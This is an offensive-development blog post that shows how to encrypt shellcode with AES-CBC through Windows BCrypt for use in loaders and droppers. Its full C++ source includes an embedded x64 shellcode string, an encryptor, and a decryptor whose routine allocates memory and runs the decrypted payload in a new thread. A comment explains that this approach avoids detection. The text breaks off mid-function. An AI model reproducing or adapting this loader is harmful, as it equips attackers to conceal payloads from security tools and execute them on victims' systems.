>_0x12Dark
←back to posts
malwaremalware-analysisinfosecpentestingcybersecurity

Having fun with AES in CBC Mode

Welcome to this new Medium post, today we are looking at AES in CBC mode, how to encrypt data with the Windows Bcrypt and how to decrypt it at runtimeIf you are building a loader or dropper, you…

Having fun with AES in CBC Mode

Welcome to this new Medium post, today we are looking at AES in CBC mode, how to encrypt data with the Windows Bcrypt and how to decrypt it at runtime

If you are building a loader or dropper, you probably don’t want to store raw shellcode (or critical data) in the binary. In this post, we will build a small AES-CBC encryptor and decryptor using the Windows BCrypt library

Want to go deeper into Windows offensive development?

Video-based courses from beginner to advanced, and text-based modules (mini courses) with new releases constantly. Plus a technique database with 100+ real techniques updated weekly, and custom C2 agents and consulting for teams.

0x12 Dark Development

Introduction

Before we start, you should be comfortable with the following Windows Library:

https://learn.microsoft.com/en-us/windows/win32/api/bcrypt/

Specifically, the used functions are:

  • BCryptOpenAlgorithmProvider

https://learn.microsoft.com/en-us/windows/win32/api/bcrypt/nf-bcrypt-bcryptopenalgorithmprovider

NTSTATUS BCryptOpenAlgorithmProvider(
  [out]          BCRYPT_ALG_HANDLE *phAlgorithm,
  [in]           LPCWSTR           pszAlgId,
  [in, optional] LPCWSTR           pszImplementation,
  [in]           ULONG             dwFlags
);
  • BCryptSetProperty

https://learn.microsoft.com/en-us/windows/win32/api/bcrypt/nf-bcrypt-bcryptsetproperty

NTSTATUS BCryptSetProperty(
  [in, out] BCRYPT_HANDLE hObject,
  [in]      LPCWSTR       pszProperty,
  [in]      PUCHAR        pbInput,
  [in]      ULONG         cbInput,
  [in]      ULONG         dwFlags
);
  • BCryptGenerateSymmetricKey

https://learn.microsoft.com/en-us/windows/win32/api/bcrypt/nf-bcrypt-bcryptgeneratesymmetrickey

NTSTATUS BCryptGenerateSymmetricKey(
  [in, out]       BCRYPT_ALG_HANDLE hAlgorithm,
  [out]           BCRYPT_KEY_HANDLE *phKey,
  [out, optional] PUCHAR            pbKeyObject,
  [in]            ULONG             cbKeyObject,
  [in]            PUCHAR            pbSecret,
  [in]            ULONG             cbSecret,
  [in]            ULONG             dwFlags
);
  • BCryptEncrypt

https://learn.microsoft.com/en-us/windows/win32/api/bcrypt/nf-bcrypt-bcryptencrypt

NTSTATUS BCryptEncrypt(
  [in, out]           BCRYPT_KEY_HANDLE hKey,
  [in]                PUCHAR            pbInput,
  [in]                ULONG             cbInput,
  [in, optional]      VOID              *pPaddingInfo,
  [in, out, optional] PUCHAR            pbIV,
  [in]                ULONG             cbIV,
  [out, optional]     PUCHAR            pbOutput,
  [in]                ULONG             cbOutput,
  [out]               ULONG             *pcbResult,
  [in]                ULONG             dwFlags
);

Methodology

Encrypt:

  • Take raw shellcode as input (inline array or binary file)
  • Allocate an AES key via BCrypt using the raw key bytes
  • Set CBC chaining mode on the algorithm provider
  • Query the required ciphertext buffer size (null output pass)
  • Reset the IV and run the real encrypt pass
  • Output as raw binary, hex string, C array, or C string literal

Decrypt:

  • Reverse the process: BCryptDecrypt + PKCS7 strip
  • Optionally execute the plaintext via VirtualAlloc + CreateThread

Implementation

Let’s focus on the bcryptEncrypt function where we encrypt the shellcode using AES, the rest of functions are just helpers

bool bcryptEncrypt(const std::vector<BYTE>& plaintext, const std::vector<BYTE>& key, const std::vector<BYTE>& iv, std::vector<BYTE>& ciphertext) {
    BCRYPT_ALG_HANDLE hAlg = nullptr;
    BCRYPT_KEY_HANDLE hKey = nullptr;
    NTSTATUS status;

    status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0);
    if (!BCRYPT_SUCCESS(status)) {
        std::cerr << "BCryptOpenAlgorithmProvider failed: 0x" << std::hex << status << "\n";
        return false;
    }

    status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
    if (!BCRYPT_SUCCESS(status)) {
        std::cerr << "BCryptSetProperty (CBC) failed: 0x" << std::hex << status << "\n";
        BCryptCloseAlgorithmProvider(hAlg, 0);
        return false;
    }

    // key size selects AES-128 / 192 / 256 automatically depending on the key size
    status = BCryptGenerateSymmetricKey(hAlg, &hKey, nullptr, 0, (PUCHAR)key.data(), (ULONG)key.size(), 0);
    if (!BCRYPT_SUCCESS(status)) {
        std::cerr << "BCryptGenerateSymmetricKey failed: 0x" << std::hex << status << "\n";
        BCryptCloseAlgorithmProvider(hAlg, 0);
        return false;
    }

    std::vector<BYTE> ivBuf = iv;

    ULONG cbResult = 0;
    // null output, query required ciphertext buffer size
    status = BCryptEncrypt(hKey, (PUCHAR)plaintext.data(), (ULONG)plaintext.size(), nullptr, ivBuf.data(), (ULONG)ivBuf.size(), nullptr, 0, &cbResult, BCRYPT_BLOCK_PADDING);
    if (!BCRYPT_SUCCESS(status)) {
        std::cerr << "BCryptEncrypt (size query) failed: 0x" << std::hex << status << "\n";
        BCryptDestroyKey(hKey);
        BCryptCloseAlgorithmProvider(hAlg, 0);
        return false;
    }

    ciphertext.resize(cbResult);

    // size query call consumed ivBuf even with null output, reset before real encrypt
    ivBuf = iv;
    status = BCryptEncrypt(hKey, (PUCHAR)plaintext.data(), (ULONG)plaintext.size(), nullptr, ivBuf.data(), (ULONG)ivBuf.size(), ciphertext.data(), cbResult, &cbResult, BCRYPT_BLOCK_PADDING);
    if (!BCRYPT_SUCCESS(status)) {
        std::cerr << "BCryptEncrypt failed: 0x" << std::hex << status << "\n";
        BCryptDestroyKey(hKey);
        BCryptCloseAlgorithmProvider(hAlg, 0);
        return false;
    }

    ciphertext.resize(cbResult);
    BCryptDestroyKey(hKey);
    BCryptCloseAlgorithmProvider(hAlg, 0);
    return true;
}

The function receives the following parameters:

  • plaintext: Data to encrypt
  • key: Key used to encrypt and decrypt the data
  • iv: The Initialization Vector (IV), used in CBC mode, ensures that encrypting the same input produces a different ciphertext each timeç
  • ciphertext: the resulting encrypted data

What the function does?

  • Starts calling the BCryptOpenAlgorithmProvider, with the BCRYPT_AES_ALGORITHM flag. To initialize the bcrypt library with the AES context
  • Then calls BCryptSetProperty, to set the CBC Mode
  • Then calls BCryptGenerateSymmetricKey, this function selects the AES 128, 192 or 256 depending on the key size
  • The first call to the BCryptEncrypt function, just to get the required ciphertext buffer size
  • Then we resize the ciphertext buffer with the specified size
  • And the final call to the BCryptEncrypt to encrypt the data with their proper size

Full Code

Encryptor

#include <windows.h>
#include <bcrypt.h>
#include <iostream>
#include <fstream>
#include <vector>
#include <string>
#include <iomanip>

#pragma comment(lib, "bcrypt.lib")

// Paste your shellcode here, then compile and run with --shellcode
static const unsigned char shellcode_data[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x00";

static const size_t shellcode_len = sizeof(shellcode_data);

enum class OutputFormat { Raw, Hex, Array, String };

struct Config {
    bool useInlineShellcode = false;
    std::string inputFile;
    std::string outputFile;
    std::vector<BYTE> key;
    std::vector<BYTE> iv;
    OutputFormat format = OutputFormat::Raw;
    std::string varName = "data";
};

bool hexToBytes(const std::string& hex, std::vector<BYTE>& out) {
    if (hex.size() % 2 != 0) return false;
    out.clear();
    for (size_t i = 0; i < hex.size(); i += 2) {
        try {
            out.push_back((BYTE)std::stoi(hex.substr(i, 2), nullptr, 16));
        }
        catch (...) {
            return false;
        }
    }
    return true;
}

bool parseKey(const std::string& s, std::vector<BYTE>& out) {
    bool allHex = !s.empty() && s.find_first_not_of("0123456789abcdefABCDEF") == std::string::npos;

    if (allHex && (s.size() == 32 || s.size() == 48 || s.size() == 64)) {
        std::cerr << "key: hex (" << s.size() / 2 << " bytes, AES-" << s.size() * 4 << ")\n";
        return hexToBytes(s, out);
    }

    out.assign(s.begin(), s.end());
    if (out.size() != 16 && out.size() != 24 && out.size() != 32) {
        std::cerr << "key string must be 16, 24, or 32 characters (AES-128/192/256)\n";
        return false;
    }
    std::cerr << "key: ASCII (" << out.size() << " bytes, AES-" << out.size() * 8 << ")\n";
    return true;
}

bool parseIv(const std::string& s, std::vector<BYTE>& out) {
    bool allHex = !s.empty() && s.find_first_not_of("0123456789abcdefABCDEF") == std::string::npos;

    if (allHex && s.size() == 32) {
        std::cerr << "IV: hex (16 bytes)\n";
        return hexToBytes(s, out);
    }

    out.assign(s.begin(), s.end());
    if (out.size() != 16) {
        std::cerr << "IV string must be exactly 16 characters\n";
        return false;
    }
    std::cerr << "IV: ASCII (16 bytes)\n";
    return true;
}

bool readFile(const std::string& path, std::vector<BYTE>& out) {
    std::ifstream f(path, std::ios::binary | std::ios::ate);
    if (!f) return false;
    auto sz = f.tellg();
    if (sz <= 0) return false;
    f.seekg(0);
    out.resize((size_t)sz);
    return (bool)f.read(reinterpret_cast<char*>(out.data()), sz);
}

bool writeFile(const std::string& path, const std::vector<BYTE>& data) {
    std::ofstream f(path, std::ios::binary);
    if (!f) return false;
    f.write(reinterpret_cast<const char*>(data.data()), data.size());
    return f.good();
}

void printHex(std::ostream& out, const std::vector<BYTE>& data) {
    for (BYTE b : data)
        out << std::hex << std::setw(2) << std::setfill('0') << (int)b;
    out << "\n";
}

void printArray(std::ostream& out, const std::vector<BYTE>& data, const std::string& name) {
    out << "unsigned char " << name << "[] = {\n    ";
    for (size_t i = 0; i < data.size(); ++i) {
        out << "0x" << std::hex << std::setw(2) << std::setfill('0') << (int)data[i];
        if (i + 1 < data.size()) out << ",";
        if ((i + 1) % 16 == 0 && i + 1 < data.size())
            out << "\n    ";
        else if (i + 1 < data.size())
            out << " ";
    }
    out << "\n};\n";
    out << "size_t " << name << "_len = " << std::dec << data.size() << ";\n";
}

void printString(std::ostream& out, const std::vector<BYTE>& data, const std::string& name) {
    out << "unsigned char " << name << "[] =\n    \"";
    for (size_t i = 0; i < data.size(); ++i) {
        out << "\\x" << std::hex << std::setw(2) << std::setfill('0') << (int)data[i];
        if ((i + 1) % 16 == 0 && i + 1 < data.size())
            out << "\"\n    \"";
    }
    out << "\";\n";
    out << "size_t " << name << "_len = " << std::dec << data.size() << ";\n";
}

bool bcryptEncrypt(const std::vector<BYTE>& plaintext, const std::vector<BYTE>& key, const std::vector<BYTE>& iv, std::vector<BYTE>& ciphertext) {
    BCRYPT_ALG_HANDLE hAlg = nullptr;
    BCRYPT_KEY_HANDLE hKey = nullptr;
    NTSTATUS status;

    status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0);
    if (!BCRYPT_SUCCESS(status)) {
        std::cerr << "BCryptOpenAlgorithmProvider failed: 0x" << std::hex << status << "\n";
        return false;
    }

    status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
    if (!BCRYPT_SUCCESS(status)) {
        std::cerr << "BCryptSetProperty (CBC) failed: 0x" << std::hex << status << "\n";
        BCryptCloseAlgorithmProvider(hAlg, 0);
        return false;
    }

    // key size selects AES-128 / 192 / 256 automatically depending on the key size
    status = BCryptGenerateSymmetricKey(hAlg, &hKey, nullptr, 0, (PUCHAR)key.data(), (ULONG)key.size(), 0);
    if (!BCRYPT_SUCCESS(status)) {
        std::cerr << "BCryptGenerateSymmetricKey failed: 0x" << std::hex << status << "\n";
        BCryptCloseAlgorithmProvider(hAlg, 0);
        return false;
    }

    std::vector<BYTE> ivBuf = iv;

    ULONG cbResult = 0;
    // null output, query required ciphertext buffer size
    status = BCryptEncrypt(hKey, (PUCHAR)plaintext.data(), (ULONG)plaintext.size(), nullptr, ivBuf.data(), (ULONG)ivBuf.size(), nullptr, 0, &cbResult, BCRYPT_BLOCK_PADDING);
    if (!BCRYPT_SUCCESS(status)) {
        std::cerr << "BCryptEncrypt (size query) failed: 0x" << std::hex << status << "\n";
        BCryptDestroyKey(hKey);
        BCryptCloseAlgorithmProvider(hAlg, 0);
        return false;
    }

    ciphertext.resize(cbResult);

    // size query call consumed ivBuf even with null output, reset before real encrypt
    ivBuf = iv;
    status = BCryptEncrypt(hKey, (PUCHAR)plaintext.data(), (ULONG)plaintext.size(), nullptr, ivBuf.data(), (ULONG)ivBuf.size(), ciphertext.data(), cbResult, &cbResult, BCRYPT_BLOCK_PADDING);
    if (!BCRYPT_SUCCESS(status)) {
        std::cerr << "BCryptEncrypt failed: 0x" << std::hex << status << "\n";
        BCryptDestroyKey(hKey);
        BCryptCloseAlgorithmProvider(hAlg, 0);
        return false;
    }

    ciphertext.resize(cbResult);
    BCryptDestroyKey(hKey);
    BCryptCloseAlgorithmProvider(hAlg, 0);
    return true;
}

void printUsage(const char* prog) {
    std::cerr
        << "Usage:\n"
        << "  " << prog << " <input_file>   [options]   encrypt a file\n"
        << "  " << prog << " --shellcode    [options]   encrypt the shellcode_data[] array in source\n"
        << "\n"
        << "Crypto:\n"
        << "  --key <hex|ascii>    32 hex chars = AES-128, 64 = AES-256\n"
        << "                       16 ASCII chars = AES-128, 32 = AES-256\n"
        << "  --iv  <hex|ascii>    32 hex chars or 16 ASCII chars (default: 16 zero bytes)\n"
        << "\n"
        << "Output:\n"
        << "  --out <file>         write output to file (all formats)\n"
        << "                       raw: required path; hex/array/string: optional, default stdout\n"
        << "  --format <fmt>       raw | hex | array | string  (default: raw)\n"
        << "  --var <name>         variable name for array/string output (default: data)\n";
}

bool parseArgs(int argc, char* argv[], Config& cfg) {
    cfg.key = { 'S','E','C','R','E','T','K','E','Y','1','2','3','4','5','6','7' };
    cfg.iv.assign(16, 0x00);

    if (argc < 2) return false;

    int i = 1;

    if (argv[i][0] != '-') {
        cfg.inputFile = argv[i++];
    }

    for (; i < argc; ++i) {
        std::string arg = argv[i];

        if (arg == "--shellcode") {
            cfg.useInlineShellcode = true;
        }
        else if (arg == "--out" && i + 1 < argc) {
            cfg.outputFile = argv[++i];
        }
        else if (arg == "--key" && i + 1 < argc) {
            if (!parseKey(argv[++i], cfg.key)) return false;
        }
        else if (arg == "--iv" && i + 1 < argc) {
            if (!parseIv(argv[++i], cfg.iv)) return false;
        }
        else if (arg == "--format" && i + 1 < argc) {
            std::string fmt = argv[++i];
            if (fmt == "raw")    cfg.format = OutputFormat::Raw;
            else if (fmt == "hex")    cfg.format = OutputFormat::Hex;
            else if (fmt == "array")  cfg.format = OutputFormat::Array;
            else if (fmt == "string") cfg.format = OutputFormat::String;
            else {
                std::cerr << "unknown --format: " << fmt << "\n";
                return false;
            }
        }
        else if (arg == "--var" && i + 1 < argc) {
            cfg.varName = argv[++i];
        }
        else {
            std::cerr << "unknown argument: " << arg << "\n";
            return false;
        }
    }

    if (cfg.inputFile.empty() && !cfg.useInlineShellcode) {
        std::cerr << "no input: provide a file path or --shellcode\n";
        return false;
    }

    if (!cfg.inputFile.empty() && cfg.useInlineShellcode) {
        std::cerr << "cannot combine a file and --shellcode\n";
        return false;
    }

    // raw always needs an output file, derive default if not given
    if (cfg.format == OutputFormat::Raw && cfg.outputFile.empty())
        cfg.outputFile = cfg.inputFile.empty() ? "shellcode.enc" : cfg.inputFile + ".enc";

    return true;
}

int main(int argc, char* argv[]) {
    Config cfg;
    if (!parseArgs(argc, argv, cfg)) {
        printUsage(argv[0]);
        return 1;
    }

    std::vector<BYTE> plaintext;

    if (cfg.useInlineShellcode) {
        if (shellcode_len == 0) {
            std::cerr << "shellcode_data[] is empty — paste your shellcode in the source and recompile\n";
            return 1;
        }
        plaintext.assign(shellcode_data, shellcode_data + shellcode_len);
        std::cerr << "using shellcode_data[]: " << std::dec << plaintext.size() << " bytes\n";
    }
    else {
        if (!readFile(cfg.inputFile, plaintext)) {
            std::cerr << "failed to read: " << cfg.inputFile << "\n";
            return 1;
        }
        std::cerr << "read " << std::dec << plaintext.size() << " bytes from " << cfg.inputFile << "\n";
    }

    std::vector<BYTE> ciphertext;
    if (!bcryptEncrypt(plaintext, cfg.key, cfg.iv, ciphertext)) {
        std::cerr << "encryption failed\n";
        return 1;
    }

    std::cerr << "encrypted: " << std::dec << ciphertext.size()
        << " bytes (AES-" << cfg.key.size() * 8 << "-CBC + PKCS7)\n";

    // raw always goes to file
    if (cfg.format == OutputFormat::Raw) {
        if (!writeFile(cfg.outputFile, ciphertext)) {
            std::cerr << "failed to write: " << cfg.outputFile << "\n";
            return 1;
        }
        std::cerr << "written to " << cfg.outputFile << "\n";
        return 0;
    }

    // hex / array / string: --out writes to file, otherwise stdout
    std::ofstream fileOut;
    std::ostream* out = &std::cout;

    if (!cfg.outputFile.empty()) {
        fileOut.open(cfg.outputFile);
        if (!fileOut) {
            std::cerr << "failed to open for writing: " << cfg.outputFile << "\n";
            return 1;
        }
        out = &fileOut;
        std::cerr << "writing to " << cfg.outputFile << "\n";
    }

    if(cfg.format == OutputFormat::Hex) {
        printHex(*out, ciphertext);
    }
    else if (cfg.format == OutputFormat::Array) {
        printArray(*out, ciphertext, cfg.varName);
    }
    else if (cfg.format == OutputFormat::String) {
        printString(*out, ciphertext, cfg.varName);
    }
    return 0;
}

Decryptor

#include <windows.h>
#include <bcrypt.h>
#include <iostream>
#include <fstream>
#include <vector>
#include <string>
#include <iomanip>

#pragma comment(lib, "bcrypt.lib")

// Paste your encrypted array here, then compile and run with --encrypted
static const unsigned char enc_data[] = {
    0xcc, 0xc0, 0xc5, 0x1a, 0xb4, 0x1c, 0x61, 0xd4, 0x4b, 0xa3, 0x7d, 0xfc, 0xde, 0x99, 0x85, 0xb9,
    0x23, 0x5f, 0xb2, 0x6c, 0xdd, 0xf5, 0xd3, 0xf8, 0x64, 0x75, 0xda, 0xf2, 0xcf, 0x26, 0xb9, 0x0a,
    0x1f, 0x4a, 0x53, 0x8c, 0x8d, 0xdf, 0xa8, 0x47, 0xbf, 0x47, 0xb6, 0x3a, 0x69, 0x85, 0x5d, 0x6a,
    0x8f, 0x99, 0x7e, 0x37, 0x9b, 0xb1, 0x21, 0x67, 0x3d, 0xdb, 0x90, 0x78, 0x55, 0x2a, 0x9e, 0x55,
    0x61, 0xb4, 0x12, 0xbc, 0x01, 0x24, 0x4a, 0x96, 0x10, 0x0f, 0x95, 0xdf, 0x70, 0x70, 0x66, 0x1b,
    0xaf, 0xb6, 0xf9, 0x19, 0xee, 0x9f, 0x72, 0xb5, 0xca, 0x35, 0x95, 0x97, 0xb6, 0x51, 0x92, 0x34,
    0x0c, 0x32, 0x66, 0xe2, 0xe5, 0x66, 0x64, 0xe8, 0x6c, 0x77, 0xb3, 0x34, 0x25, 0x6a, 0x53, 0xb2,
    0xed, 0xf8, 0xf1, 0x64, 0xf0, 0x3d, 0xda, 0x67, 0x0a, 0x1b, 0xc1, 0xa2, 0x3c, 0xaa, 0x20, 0x18,
    0x37, 0x83, 0xaf, 0x41, 0xe5, 0xfa, 0x44, 0x0a, 0x94, 0x3d, 0xb2, 0xd7, 0xfb, 0x8e, 0xef, 0x61,
    0xcc, 0xf5, 0x49, 0xa6, 0x54, 0x2c, 0xff, 0xfa, 0x73, 0xb3, 0x0a, 0x75, 0xbf, 0xa8, 0x18, 0x59,
    0x39, 0x4c, 0xe4, 0x6f, 0x1f, 0x75, 0x41, 0x0b, 0x0d, 0x23, 0xd1, 0x3d, 0xdd, 0x1c, 0xc5, 0x6b,
    0xb9, 0x67, 0xd9, 0x50, 0x10, 0x07, 0x43, 0xd7, 0x2d, 0xd5, 0x68, 0x88, 0x1e, 0x5b, 0x46, 0x06,
    0xf1, 0x84, 0x35, 0x7f, 0x76, 0x92, 0x35, 0x52, 0x56, 0x6a, 0x57, 0x31, 0xc8, 0x84, 0x3f, 0xe5,
    0x0e, 0xad, 0xda, 0xd5, 0x49, 0xc6, 0xa4, 0xfe, 0x9e, 0xc0, 0x6c, 0xd2, 0x71, 0x02, 0x46, 0xe4,
    0x30, 0x87, 0x22, 0x96, 0x68, 0xa7, 0x2d, 0x62, 0x30, 0x00, 0x3b, 0x8f, 0xf7, 0xdb, 0x32, 0x1e,
    0x44, 0xaf, 0xa0, 0xff, 0x9b, 0x0c, 0x06, 0x10, 0x36, 0x92, 0x95, 0x81, 0x96, 0x35, 0x33, 0x35,
    0x96, 0x42, 0x69, 0x1e, 0xbc, 0xbb, 0x4c, 0x7c, 0x80, 0xb9, 0x08, 0x47, 0x9b, 0xf9, 0xe3, 0x80,
    0x82, 0x3e, 0x7f, 0xfd, 0xeb, 0xc1, 0x86, 0x3e, 0x85, 0x37, 0xc9, 0xa3, 0x1b, 0x8a, 0x26, 0x40
};
static const size_t enc_data_len = sizeof(enc_data);

enum class OutputFormat { Raw, Hex, Array, String };

struct Config {
    bool useInlineData = false;
    bool execShellcode = false;
    std::string inputFile;
    std::string outputFile;
    std::vector<BYTE> key;
    std::vector<BYTE> iv;
    OutputFormat format = OutputFormat::Raw;
    std::string varName = "data";
};

bool hexToBytes(const std::string& hex, std::vector<BYTE>& out) {
    if (hex.size() % 2 != 0) return false;
    out.clear();
    for (size_t i = 0; i < hex.size(); i += 2) {
        try {
            out.push_back((BYTE)std::stoi(hex.substr(i, 2), nullptr, 16));
        }
        catch (...) {
            return false;
        }
    }
    return true;
}

bool parseKey(const std::string& s, std::vector<BYTE>& out) {
    bool allHex = !s.empty() && s.find_first_not_of("0123456789abcdefABCDEF") == std::string::npos;

    if (allHex && (s.size() == 32 || s.size() == 48 || s.size() == 64)) {
        std::cerr << "key: hex (" << s.size() / 2 << " bytes, AES-" << s.size() * 4 << ")\n";
        return hexToBytes(s, out);
    }

    out.assign(s.begin(), s.end());
    if (out.size() != 16 && out.size() != 24 && out.size() != 32) {
        std::cerr << "key string must be 16, 24, or 32 characters (AES-128/192/256)\n";
        return false;
    }
    std::cerr << "key: ASCII (" << out.size() << " bytes, AES-" << out.size() * 8 << ")\n";
    return true;
}

bool parseIv(const std::string& s, std::vector<BYTE>& out) {
    bool allHex = !s.empty() && s.find_first_not_of("0123456789abcdefABCDEF") == std::string::npos;

    if (allHex && s.size() == 32) {
        std::cerr << "IV: hex (16 bytes)\n";
        return hexToBytes(s, out);
    }

    out.assign(s.begin(), s.end());
    if (out.size() != 16) {
        std::cerr << "IV string must be exactly 16 characters\n";
        return false;
    }
    std::cerr << "IV: ASCII (16 bytes)\n";
    return true;
}

bool readFile(const std::string& path, std::vector<BYTE>& out) {
    std::ifstream f(path, std::ios::binary | std::ios::ate);
    if (!f) return false;
    auto sz = f.tellg();
    if (sz <= 0) return false;
    f.seekg(0);
    out.resize((size_t)sz);
    return (bool)f.read(reinterpret_cast<char*>(out.data()), sz);
}

bool writeFile(const std::string& path, const std::vector<BYTE>& data) {
    std::ofstream f(path, std::ios::binary);
    if (!f) return false;
    f.write(reinterpret_cast<const char*>(data.data()), data.size());
    return f.good();
}

void printHex(std::ostream& out, const std::vector<BYTE>& data) {
    for (BYTE b : data)
        out << std::hex << std::setw(2) << std::setfill('0') << (int)b;
    out << "\n";
}

void printArray(std::ostream& out, const std::vector<BYTE>& data, const std::string& name) {
    out << "unsigned char " << name << "[] = {\n    ";
    for (size_t i = 0; i < data.size(); ++i) {
        out << "0x" << std::hex << std::setw(2) << std::setfill('0') << (int)data[i];
        if (i + 1 < data.size()) out << ",";
        if ((i + 1) % 16 == 0 && i + 1 < data.size())
            out << "\n    ";
        else if (i + 1 < data.size())
            out << " ";
    }
    out << "\n};\n";
    out << "size_t " << name << "_len = " << std::dec << data.size() << ";\n";
}

void printString(std::ostream& out, const std::vector<BYTE>& data, const std::string& name) {
    out << "unsigned char " << name << "[] =\n    \"";
    for (size_t i = 0; i < data.size(); ++i) {
        out << "\\x" << std::hex << std::setw(2) << std::setfill('0') << (int)data[i];
        if ((i + 1) % 16 == 0 && i + 1 < data.size())
            out << "\"\n    \"";
    }
    out << "\";\n";
    out << "size_t " << name << "_len = " << std::dec << data.size() << ";\n";
}

bool bcryptDecrypt(const std::vector<BYTE>& ciphertext, const std::vector<BYTE>& key, const std::vector<BYTE>& iv, std::vector<BYTE>& plaintext) {
    BCRYPT_ALG_HANDLE hAlg = nullptr;
    BCRYPT_KEY_HANDLE hKey = nullptr;
    NTSTATUS status;

    status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0);
    if (!BCRYPT_SUCCESS(status)) {
        std::cerr << "BCryptOpenAlgorithmProvider failed: 0x" << std::hex << status << "\n";
        return false;
    }

    status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
    if (!BCRYPT_SUCCESS(status)) {
        std::cerr << "BCryptSetProperty (CBC) failed: 0x" << std::hex << status << "\n";
        BCryptCloseAlgorithmProvider(hAlg, 0);
        return false;
    }

    status = BCryptGenerateSymmetricKey(hAlg, &hKey, nullptr, 0, (PUCHAR)key.data(), (ULONG)key.size(), 0);
    if (!BCRYPT_SUCCESS(status)) {
        std::cerr << "BCryptGenerateSymmetricKey failed: 0x" << std::hex << status << "\n";
        BCryptCloseAlgorithmProvider(hAlg, 0);
        return false;
    }

    std::vector<BYTE> ivBuf = iv;

    ULONG cbResult = 0;
    // null output — query required plaintext buffer size
    status = BCryptDecrypt(hKey, (PUCHAR)ciphertext.data(), (ULONG)ciphertext.size(),
        nullptr, ivBuf.data(), (ULONG)ivBuf.size(), nullptr, 0, &cbResult, BCRYPT_BLOCK_PADDING);
    if (!BCRYPT_SUCCESS(status)) {
        std::cerr << "BCryptDecrypt (size query) failed: 0x" << std::hex << status << "\n";
        BCryptDestroyKey(hKey);
        BCryptCloseAlgorithmProvider(hAlg, 0);
        return false;
    }

    plaintext.resize(cbResult);

    // size-query consumed ivBuf — reset before real decrypt
    ivBuf = iv;
    status = BCryptDecrypt(hKey, (PUCHAR)ciphertext.data(), (ULONG)ciphertext.size(),
        nullptr, ivBuf.data(), (ULONG)ivBuf.size(), plaintext.data(), cbResult, &cbResult, BCRYPT_BLOCK_PADDING);
    if (!BCRYPT_SUCCESS(status)) {
        std::cerr << "BCryptDecrypt failed: 0x" << std::hex << status << "\n";
        BCryptDestroyKey(hKey);
        BCryptCloseAlgorithmProvider(hAlg, 0);
        return false;
    }

    // cbResult reflects actual plaintext size after PKCS7 strip
    plaintext.resize(cbResult);
    BCryptDestroyKey(hKey);
    BCryptCloseAlgorithmProvider(hAlg, 0);
    return true;
}

// Alloc RW, copy shellcode, flip to RX, fire a thread
// RW -> RX avoids a RWX region which is a trivial detection signal
bool runShellcode(const std::vector<BYTE>& sc) {
    LPVOID mem = VirtualAlloc(nullptr, sc.size(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!mem) {
        std::cerr << "VirtualAlloc failed: " << std::dec << GetLastError() << "\n";
        return false;
    }

    memcpy(mem, sc.data(), sc.size());

    DWORD oldProt = 0;
    if (!VirtualProtect(mem, sc.size(), PAGE_EXECUTE_READ, &oldProt)) {
        std::cerr << "VirtualProtect failed: " << std::dec << GetLastError() << "\n";
        VirtualFree(mem, 0, MEM_RELEASE);
        return false;
    }

    HANDLE hThread = CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)mem, nullptr, 0, nullptr);
    if (!hThread) {
        std::cerr << "CreateThread failed: " << std::dec << GetLastError() << "\n";
        VirtualFree(mem, 0, MEM_RELEASE);
        return false;
    }

    std::cerr << "shellcode executing, waiting for thread to finish...\n";
    WaitForSingleObject(hThread, INFINITE);

    DWORD exitCode = 0;
    GetExitCodeThread(hThread, &exitCode);
    std::cerr << "thread exited with code: " << std::dec << exitCode << "\n";

    CloseHandle(hThread);
    VirtualFree(mem, 0, MEM_RELEASE);
    return true;
}

void printUsage(const char* prog) {
    std::cerr
        << "Usage:\n"
        << "  " << prog << " <input_file>   [options]   decrypt a raw binary file\n"
        << "  " << prog << " --encrypted    [options]   decrypt the enc_data[] array in source\n"
        << "\n"
        << "Crypto:\n"
        << "  --key <hex|ascii>    32 hex chars = AES-128, 64 = AES-256\n"
